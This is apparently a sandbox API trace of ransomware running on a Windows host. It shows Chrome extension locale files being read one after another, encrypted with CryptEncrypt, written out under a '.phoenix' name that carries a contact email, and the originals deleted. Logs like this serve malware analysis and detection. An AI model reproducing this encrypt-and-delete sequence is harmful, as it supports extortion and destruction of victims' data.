	[0264.578] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0264.578] CryptDestroyKey (hKey=0x151400) returned 1
	[0264.578] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0264.578] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0264.578] CloseHandle (hObject=0x2f0) returned 1
	[0264.578] CloseHandle (hObject=0x308) returned 1
	[0264.578] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\el\\messages.json")) returned 1
	[0264.580] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0264.580] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fa\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fa\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0264.581] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=18165) returned 1
	[0264.581] CloseHandle (hObject=0x308) returned 1
	[0264.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fa\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fa\\messages.json")) returned 0x20
	[0264.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fa\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fa\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.582] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fa\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fa\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0264.582] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.583] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.583] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fa\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fa\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.585] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151540) returned 1
	[0264.585] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.585] ReadFile (in: hFile=0x308, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x46f5, lpOverlapped=0x0) returned 1
	[0264.645] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4700, dwBufLen=0x4700 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4700) returned 1
	[0264.645] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x4700, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x4700, lpOverlapped=0x0) returned 1
	[0264.646] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151400) returned 1
	[0264.646] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.647] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0264.647] CryptDestroyKey (hKey=0x151400) returned 1
	[0264.647] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0264.647] CryptDestroyKey (hKey=0x151540) returned 1
	[0264.647] CloseHandle (hObject=0x308) returned 1
	[0264.647] CloseHandle (hObject=0x2f0) returned 1
	[0264.647] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fa\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fa\\messages.json")) returned 1
	[0264.648] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0264.648] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.649] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16204) returned 1
	[0264.649] CloseHandle (hObject=0x2f0) returned 1
	[0264.649] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fi\\messages.json")) returned 0x20
	[0264.649] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.649] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.649] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.649] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.649] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0264.650] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151700) returned 1
	[0264.650] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.650] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x3f4c, lpOverlapped=0x0) returned 1
	[0264.661] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x3f50, dwBufLen=0x3f50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x3f50) returned 1
	[0264.661] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x3f50, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x3f50, lpOverlapped=0x0) returned 1
	[0264.662] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151500) returned 1
	[0264.662] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.662] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0264.662] CryptDestroyKey (hKey=0x151500) returned 1
	[0264.662] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0264.662] CryptDestroyKey (hKey=0x151700) returned 1
	[0264.662] CloseHandle (hObject=0x2f0) returned 1
	[0264.662] CloseHandle (hObject=0x308) returned 1
	[0264.662] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fi\\messages.json")) returned 1
	[0264.663] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0264.663] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0264.664] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16514) returned 1
	[0264.664] CloseHandle (hObject=0x308) returned 1
	[0264.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fil\\messages.json")) returned 0x20
	[0264.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fil\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fil\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.665] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0264.665] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.665] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.665] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fil\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fil\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.666] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151640) returned 1
	[0264.666] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.666] ReadFile (in: hFile=0x308, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x4082, lpOverlapped=0x0) returned 1
	[0264.678] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4090, dwBufLen=0x4090 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4090) returned 1
	[0264.678] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x4090, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x4090, lpOverlapped=0x0) returned 1
	[0264.679] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151200) returned 1
	[0264.679] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.679] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0264.679] CryptDestroyKey (hKey=0x151200) returned 1
	[0264.679] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0264.679] CryptDestroyKey (hKey=0x151640) returned 1
	[0264.680] CloseHandle (hObject=0x308) returned 1
	[0264.680] CloseHandle (hObject=0x2f0) returned 1
	[0264.682] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fil\\messages.json")) returned 1
	[0264.683] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0264.684] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.684] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16799) returned 1
	[0264.684] CloseHandle (hObject=0x2f0) returned 1
	[0264.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fr\\messages.json")) returned 0x20
	[0264.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.684] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.685] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.685] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.685] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0264.685] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151440) returned 1
	[0264.685] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.685] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x419f, lpOverlapped=0x0) returned 1
	[0264.744] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x41a0, dwBufLen=0x41a0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x41a0) returned 1
	[0264.744] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x41a0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x41a0, lpOverlapped=0x0) returned 1
	[0264.745] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151500) returned 1
	[0264.745] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.746] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0264.746] CryptDestroyKey (hKey=0x151500) returned 1
	[0264.746] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0264.746] CryptDestroyKey (hKey=0x151440) returned 1
	[0264.746] CloseHandle (hObject=0x2f0) returned 1
	[0264.746] CloseHandle (hObject=0x308) returned 1
	[0264.746] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\fr\\messages.json")) returned 1
	[0264.747] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0264.747] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0264.747] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=20727) returned 1
	[0264.747] CloseHandle (hObject=0x308) returned 1
